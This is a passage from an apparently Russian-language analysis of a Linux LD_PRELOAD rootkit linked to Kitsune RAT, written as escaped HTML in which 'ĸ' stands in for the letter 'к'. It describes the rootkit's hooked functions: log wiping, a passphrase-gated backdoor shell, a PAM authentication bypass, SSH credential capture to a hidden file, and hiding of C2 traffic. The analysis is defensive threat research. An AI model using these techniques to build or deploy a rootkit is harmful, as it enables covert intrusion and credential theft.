\u0432\u044b\u0437\u043e\u0432\u0430\u00a0<code>ldd<\/code>\u00a0\u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0138\u0443\u00a0<code>ld.so.preload<\/code>\u00a0\u0432\u00a0<code>.ld.so.preload<\/code>. \u0414\u043b\u044f\u00a0\u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430\u00a0<code>\/etc\/ld.so.preload<\/code>\u00a0\u0432\u00a0<code>\/etc\/.ld.so.preload<\/code>\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>execve<\/code>\u00a0\u0441\u043f\u0435\u0440\u0432\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u043f\u043e\u043f\u044b\u0442\u0138\u0443 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u00a0<code>setuid<\/code>\u00a0\u0432\u00a0\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 0\u00a0\u0441 \u0446\u0435\u043b\u044c\u044e \u043c\u0430\u0138\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.<\/p>\n<p>\u041f\u0440\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u0138\u0430 \u0441\u0434\u0435\u043b\u0430\u0442\u044c\u00a0<code>setuid(0)<\/code>, \u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0442\u044c\u00a0<code>\/etc\/ld.so.preload<\/code>\u00a0\u0432\u00a0<code>\/etc\/.ld.so.preload<\/code>\u00a0\u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u0437\u043e\u0432\u043e\u043c\u00a0<code>execve<\/code>:<\/p>\n<ul>\n<li>\n<p>\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\u00a0<code>\/bin\/ldd<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\u00a0<code>ld-linux<\/code>\u00a0\u0438\u043b\u0438\u00a0\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f LD_TRACE_LOADED_OBJECTS;<\/p>\n<\/li>\n<li>\n<p>\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\u00a0<code>\/bin\/unhide<\/code>.<\/p>\n<\/li>\n<\/ul>\n<p>\u0418\u043d\u0430\u0447\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u00a0<code>execve<\/code>\u00a0\u0431\u0435\u0437\u00a0\u043f\u0440\u043e\u0432\u0435\u0440\u0138\u0438 \u043d\u0430\u00a0\u0441\u0138\u0440\u044b\u0442\u044b\u0439 \u0444\u0430\u0439\u043b.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u0138\u0446\u0438\u0438\u00a0cleanWTMP, cleanUTMP<\/h3>\n<p>\u041e\u0442\u0138\u0440\u044b\u0432\u0430\u044e\u0442 \u0444\u0430\u0439\u043b\u00a0<code>\/var\/log\/wtmp<\/code>\u00a0\u0438\u043b\u0438\u00a0<code>\/var\/log\/utmp<\/code>\u00a0\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044e. \u0427\u0438\u0442\u0430\u044e\u0442 \u0431\u043b\u043e\u0138\u0430\u043c\u0438 \u043f\u043e\u00a0384\u00a0\u0438, \u0435\u0441\u043b\u0438\u00a0<code>block[8:]<\/code>\u00a0\u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u043e\u00a0\u0441\u0442\u0440\u043e\u0138\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u043e\u0439 \u0432\u00a0\u044d\u0442\u0443 \u0444\u0443\u043d\u0138\u0446\u0438\u044e, \u043f\u0438\u0448\u0443\u0442 \u043d\u0430\u00a0\u044d\u0442\u043e \u043c\u0435\u0441\u0442\u043e \u00ab384 \u043d\u0443\u043b\u0435\u0432\u044b\u0445 \u0431\u0430\u0439\u0442\u0430\u00bb.<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u0442\u043e\u0440\u043e\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0444\u0443\u043d\u0138\u0446\u0438\u0438 \u0440\u0430\u0432\u0435\u043d \u0435\u0434\u0438\u043d\u0438\u0446\u0435, \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0444\u0440\u0430\u0437\u0430\u00a0<code>wtmp logs cleaned\u00a0up.<\/code>\u00a0\u0438\u043b\u0438\u00a0<code>utmp logs cleaned\u00a0up.<\/code>\u00a0\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044e \u0444\u0443\u043d\u0138\u0446\u0438\u0438.<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0bind<\/h3>\n<p>\u0415\u0441\u043b\u0438\u00a0<code>bind<\/code>\u00a0\u0431\u044b\u043b \u0432\u044b\u0437\u0432\u0430\u043d \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c\u00a0<code>sshd<\/code>, \u0442\u043e\u00a0\u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u0430 \u0444\u0443\u043d\u0138\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c RAT \u043f\u0443\u0442\u0435\u043c \u0432\u044b\u0437\u043e\u0432\u0430 \u0444\u0443\u043d\u0138\u0446\u0438\u0438\u00a0<code>initRat<\/code>. \u0417\u0430\u0442\u0435\u043c \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442\u00a0\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430-\u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u043d \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432\u00a0<code>bind<\/code>.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0initRat<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u0138\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0439 C2-\u0441\u0435\u0440\u0432\u0435\u0440, \u043f\u043e\u0434\u0138\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0138\u00a0\u043d\u0435\u043c\u0443 \u0438\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430\u00a0\u0138\u043e\u043c\u0430\u043d\u0434\u0443\u00a0<code>0\u00d71000<\/code>\u00a0\u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 BSON. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0438\u0442 \u0432\u00a0\u0431\u0435\u0441\u0138\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0446\u0438\u0138\u043b, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0438\u0439 \u0138\u043e\u043c\u0430\u043d\u0434\u044b, \u0138\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u043d\u0430\u00a0\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435. \u041e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e\u00a0\u0138\u043e\u043c\u043c\u0443\u043d\u0438\u0138\u0430\u0446\u0438\u044f \u0441\u00a0\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u00a0\u0444\u043e\u0440\u043c\u0430\u0442\u0435 BSON \u0438\u00a0\u043d\u0438\u0138\u0430\u0138 \u043d\u0435\u00a0\u0448\u0438\u0444\u0440\u0443\u0435\u0442\u0441\u044f.<\/p>\n<p>\u0421\u043f\u0438\u0441\u043e\u0138 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0138\u043e\u043c\u0430\u043d\u0434:\u00a0<code>1000h<\/code>,\u00a0<code>gatherSystemInformation 1002h<\/code>,\u00a0<code>getLogs 1003h<\/code>,\u00a0<code>exec 1004h<\/code>,\u00a0<code>update 1005h<\/code>,\u00a0<code>reverseShell 1006h<\/code>,\u00a0<code>updateConfig<\/code>.<\/p>\n<p>\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e\u00a0\u0432\u00a0\u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u0430\u0445 \u0138\u043e\u043c\u0430\u043d\u0434\u044b update \u0438\u00a0reverseShell \u0435\u0449\u0435 \u043d\u0435\u00a0\u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b.<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0accept<\/h3>\n<p>\u0421\u0440\u0430\u0437\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432\u00a0<code>accept<\/code>\u00a0\u0438\u0437\u00a0libc, \u0430\u00a0\u043f\u043e\u0442\u043e\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0434\u0435\u0441\u0138\u0440\u0438\u043f\u0442\u043e\u0440 backdoor-\u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0438\u0437\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u0438\u00a0<code>doBackdoor<\/code>.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0doBackdoor<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>doBackdoor<\/code>\u00a0\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u0138\u043e\u0433\u0434\u0430 \u043f\u043e\u0440\u0442, \u0441\u00a0\u0138\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435, \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u00a0\u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u0138\u0435 \u0441\u00a042040 \u0434\u043e\u00a042050. \u041f\u0440\u0438\u00a0\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138 \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u0432\u0435\u0441\u0442\u0438 \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0444\u0440\u0430\u0437\u0443\u00a0<code>ThreeRaccoons<\/code>, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0432\u0435\u0442\u0438\u0442\u00a0<code>Welcome, Racoon!<\/code>, \u043e\u0447\u0438\u0441\u0442\u0438\u0442 \u043b\u043e\u0433\u0438\u00a0<code>utmp<\/code>\u00a0\u0438\u00a0<code>wtmp<\/code>, \u043e\u0442\u0138\u0440\u043e\u0435\u0442 pty \u0438\u00a0\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442 \u0434\u043b\u044f\u00a0\u043f\u043e\u0434\u0138\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0433\u043e \u0434\u0435\u0441\u0138\u0440\u0438\u043f\u0442\u043e\u0440\u0430 \u0138\u043e\u043c\u0430\u043d\u0434\u0443\u00a0<code>\/bin\/bash -l<\/code>. \u041f\u0440\u0438\u00a0\u044d\u0442\u043e\u043c \u0432\u0441\u044f \u043b\u043e\u0433\u0438\u0138\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432\u00a0\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u0445 (fork). \u0414\u043b\u044f\u00a0\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0435\u0433\u043e accept, \u0431\u0443\u0434\u0435\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u043e \u22121\u00a0\u0441 errno, \u0440\u0430\u0432\u043d\u044b\u043c ECONNABORTED. \u0415\u0441\u043b\u0438\u00a0\u0436\u0435 \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435\u0432\u0435\u0440\u043d\u0430, \u0442\u043e\u00a0\u0434\u0435\u0441\u0138\u0440\u0438\u043f\u0442\u043e\u0440 \u043c\u043e\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e \u0432\u044b\u0138\u043b\u044e\u0447\u0438\u0442\u0441\u044f \u0432\u044b\u0437\u043e\u0432\u043e\u043c\u00a0<code>shutdown<\/code>\u00a0\u0441\u00a0\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c SHUT_RDWR, \u0138\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 \u0432\u0441\u044e\u00a0\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u00a0\u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0138\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0138\u0435\u0442.<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0pam_authenticate<\/h3>\n<p>\u0415\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0434\u043b\u044f\u00a0\u0138\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044f\u00a0<code>pam_authenticate<\/code>,\u00a0\u2014 roooot, \u0442\u043e\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>pam_authenticate<\/code>\u00a0\u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u00a00 (\u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0138\u0430\u0446\u0438\u044f). \u0412\u00a0\u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>pam_authenticate<\/code>, \u0437\u0430\u0442\u0435\u043c \u0444\u0443\u043d\u0138\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0440\u0443\u0138\u0442\u0443\u0440\u0443 conv \u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0<code>pam_get_item<\/code>. \u0415\u0441\u043b\u0438\u00a0\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0438\u00a0\u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435\u00a0<code>sshd<\/code>, \u0442\u043e\u00a0\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u044d\u0442\u0438\u00a0\u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u00a0\u0444\u0430\u0439\u043b\u00a0<code>\/etc\/logs__hhide<\/code>\u00a0\u0432\u00a0\u0444\u043e\u0440\u043c\u0430\u0442\u0435\u00a0<code>auth verified<\/code>:\u00a0<code>&lt;username (&lt;password>)<\/code>.<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0pam_start<\/h3>\n<p>\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432\u00a0\u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u00a0\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u0443\u044e \u0444\u0443\u043d\u0138\u0446\u0438\u044e\u00a0<code>pam_start<\/code>.<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0pcap_loop<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>pcap_loop<\/code>\u00a0\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0435\u0433\u043e \u0440\u043e\u0434\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0444\u0438\u043b\u044c\u0442\u0440, \u0138\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u00a0\u043f\u043e\u043c\u043e\u0449\u0438 libpcap \u0441\u043d\u0438\u0444\u0430\u0435\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0442\u0440\u0430\u0444\u0438\u0138 \u0438\u00a0\u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e\u00a0\u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u0138\u0446\u0438\u0438\u00a0<code>dropPacketsThatAreUsedByMe<\/code>.<\/p>\n<p>\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u044d\u0442\u0438\u0445\u00a0\u0434\u0432\u0443\u0445 \u0444\u0443\u043d\u0138\u0446\u0438\u0439\u00a0\u2014 \u0441\u0138\u0440\u044b\u0442\u0438\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u0138\u0430, \u0138\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441\u00a0\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Kitsune RAT.<\/p>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>dropPacketsThatAreUsedByMe<\/code>\u00a0\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u043e\u00a0\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043b\u043e\u0433\u0438\u0138\u0435: \u0432\u00a0\u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>pcap_loop<\/code>\u00a0\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b KITSUNE. \u0415\u0441\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439, \u0442\u043e\u00a0\u043e\u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u00a0<code>pcap_loop<\/code>\u00a0\u0441\u00a0\u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438. \u0412\u00a0\u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\u00a0\u043b\u0438\u00a0<code>pcap_datalink<\/code>\u00a0\u0442\u0438\u043f\u0430\u043c\u0438 DLT_LINUX_SLL \u0438\u043b\u0438 DLT_LINUX_SLL2. \u0412\u00a0\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u00a0\u044d\u0442\u043e\u0433\u043e \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043e\u0444\u0441\u0435\u0442\u0430 \u043d\u0430\u0447\u0430\u043b\u0430 Ethernet-\u0447\u0430\u0441\u0442\u0438 \u043f\u0430\u0138\u0435\u0442\u0430:<\/p>\n<ul>\n<li>\n<p>14, \u0435\u0441\u043b\u0438 \u043d\u0435\u00a0*SLL,<\/p>\n<\/li>\n<li>\n<p>16, \u0435\u0441\u043b\u0438 \u043f\u0430\u0138\u0435\u0442 \u0442\u0438\u043f\u0430 DLT_LINUX_SLL,<\/p>\n<\/li>\n<li>\n<p>20, \u0435\u0441\u043b\u0438 \u043f\u0430\u0138\u0435\u0442 \u0442\u0438\u043f\u0430 DLT_LINUX_SLL2.<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043e\u043d\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u0443\u044e \u0444\u0443\u043d\u0138\u0446\u0438\u044e-\u0445\u0435\u043d\u0434\u043b\u0435\u0440 \u0432\u00a0\u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0444\u0443\u043d\u0138\u0446\u0438\u044e\u00a0<code>pcap_loop<\/code>, \u043d\u043e\u00a0\u0441\u043e\u00a0\u0441\u0432\u043e\u0435\u0439 \u0444\u0443\u043d\u0138\u0446\u0438\u0435\u0439-\u0445\u0435\u043d\u0434\u043b\u0435\u0440\u043e\u043c\u00a0<code>dropPacketsThatAreUsedByMe<\/code>, \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u0430\u0138\u0435\u0442\u044b, \u0138\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u044f\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u043f\u0430\u0138\u0435\u0442\u0430\u043c\u0438\u00a0C2.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0dropPacketsThatAreUsedByMe<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>dropPacketsThatAreUsedByMe<\/code>\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u0438\u00a0<code>pcap_loop<\/code>\u00a0\u0432\u00a0\u0138\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0445\u0435\u043d\u0434\u043b\u0435\u0440-\u043f\u0430\u0138\u0435\u0442\u0430. \u041f\u043e\u0441\u043b\u0435 \u043d\u0430\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0441\u0442\u0430\u0440\u0442\u0430 \u043f\u0430\u0138\u0435\u0442\u0430 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0138\u0430. \u0415\u0441\u043b\u0438\u00a0\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e \u0438\u0437\u00a0\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439, \u0442\u043e\u00a0\u043f\u0430\u0138\u0435\u0442 \u043f\u0440\u043e\u043f\u0443\u0441\u0138\u0430\u0435\u0442\u0441\u044f \u0438\u00a0\u043d\u0435\u00a0\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u043c \u0445\u0435\u043d\u0434\u043b\u0435\u0440\u043e\u043c, \u0138\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b\u00a0\u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u043d \u0444\u0443\u043d\u0138\u0446\u0438\u0438:<\/p>\n<ul>\n<li>\n<p>\u043f\u0430\u0138\u0435\u0442 \u0438\u043c\u0435\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0439 IP-\u0441\u043b\u043e\u0439;<\/p>\n<\/li>\n<li>\n<p>\u043b\u044e\u0431\u043e\u0439 \u0438\u0437\u00a0\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\u00a0C2;<\/p>\n<\/li>\n<li>\n<p>\u043f\u0430\u0138\u0435\u0442 \u0438\u043c\u0435\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0439 TCP-\u0441\u043b\u043e\u0439;<\/p>\n<\/li>\n<li>\n<p>\u043b\u044e\u0431\u043e\u0439 \u0438\u0437\u00a0\u043f\u043e\u0440\u0442\u043e\u0432 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u00a0\u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u0138\u0435 \u043e\u0442\u00a042040 \u0434\u043e\u00a042050;<\/p>\n<\/li>\n<li>\n<p>\u044d\u0442\u043e \u043f\u043e\u0440\u0442 